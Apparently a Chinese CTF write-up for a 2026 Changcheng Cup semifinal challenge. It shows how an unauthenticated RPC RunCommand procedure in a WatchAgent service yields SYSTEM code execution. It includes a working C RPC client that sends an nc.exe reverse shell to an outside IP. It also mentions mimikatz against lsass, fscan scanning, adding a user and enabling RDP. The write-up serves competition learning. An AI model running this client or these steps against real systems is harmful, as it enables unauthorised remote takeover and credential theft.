-
-
[原创]2026年长城杯半决赛 isw2 flag1
-
发表于: 6小时前 111
-
这道题的题解看了一眼好像大家都是AI出的,但是在真实的赛场上AI因为模型太小了其实是很难去构造RPC服务器的,笔者因为非常幸运前几个月学习了一下RPC服务器故有RPCView,可以直接构造idl文件来构建客户端


分析WatchAgent有个RPC服务器开着

端口开在五个端口内 这个端口应该是容错机制 现代的服务器一般都会容错
比如说第一个端口占用了 就会切换到第二个端口 也就是我们的客户端其实只需要在这五个端口内找就可以
使用RPCVIEW看IDL

然后acf定义一下
[
implicit_handle(handle_t rpcBinding)
]
interface DefaultIfName{
}
Native Tools可以编译idl文件

然后发现Agent里面有个RCE RunCommand 这个RCE是我直接在导入表内找sink点 找了ShellExecute和CreateProcess就出了 由于RPC服务器未授权 所以这是一个未授权的RCE

对应IDL的proc0
会把__int64 __fastcall RunCommand(
const wchar_t *pszCommand,
DWORD ulTimeoutMs,
unsigned int *pExitCode,
unsigned int *pErrorCode)
{
第一个参数直接调进CreateProcessW
#include <stdio.h>
#include <winerror.h>
#include "../IDL/myrpc.h"
int main() {
RPC_WSTR pszStringBinding = NULL;
RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_ip_tcp",
(RPC_WSTR)L"10.11.162.196",
(RPC_WSTR)L"62831",
NULL,
&pszStringBinding
);
// 绑定接口,这里要和 test.acf 的配置一致,那么就是test_Binding
RpcBindingFromStringBinding(pszStringBinding, &rpcBinding);
// 下面是调用服务端的函数了
RpcTryExcept
{
while (1)
{
unsigned int errorcode = 0;
unsigned int exitcode = 0;
Proc0(L"nc.exe 10.11.124.59 1234 -e powershell", 0x30000, &exitcode, &errorcode);
printf("errorcode = %d exitcode = %d\n", errorcode, exitcode);
break;
}
}
RpcExcept(1)
{
printf("RPC Exception %d\n", RpcExceptionCode());
Sleep(2000);
}
RpcEndExcept
// 释放资源
RpcStringFree(&pszStringBinding);
RpcBindingFree(&rpcBinding);
return 0;
}
// 下面的函数是为了满足链接需要而写的,没有的话会出现链接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
free(ptr);
}
然后反弹回来SYSTEM权限 在管理员桌面找到Flag

然后服务器环境是Server 2022 除了这个flag没有找到其他flag 不过由于我直接就有RPC服务器的项目 所以编译了一些idl acf就能直接包含头文件拿来用了 但是由于笔者忘记高版本Server 的 lsass有PPL保护 导致mimikatz一直没效果 故只拿了flag1 我们上了fscan去扫 内网是有几台机器的
应该是mimikatz dump lsass去重放?
然后针对这个shell不稳定 直接改大timeout就行 能稳定十几分钟 因为Agent是一个服务 在Windows下默认是SYSTEM权限 省去了提权的问题 直接加一个用户 打开3389 就可以远程了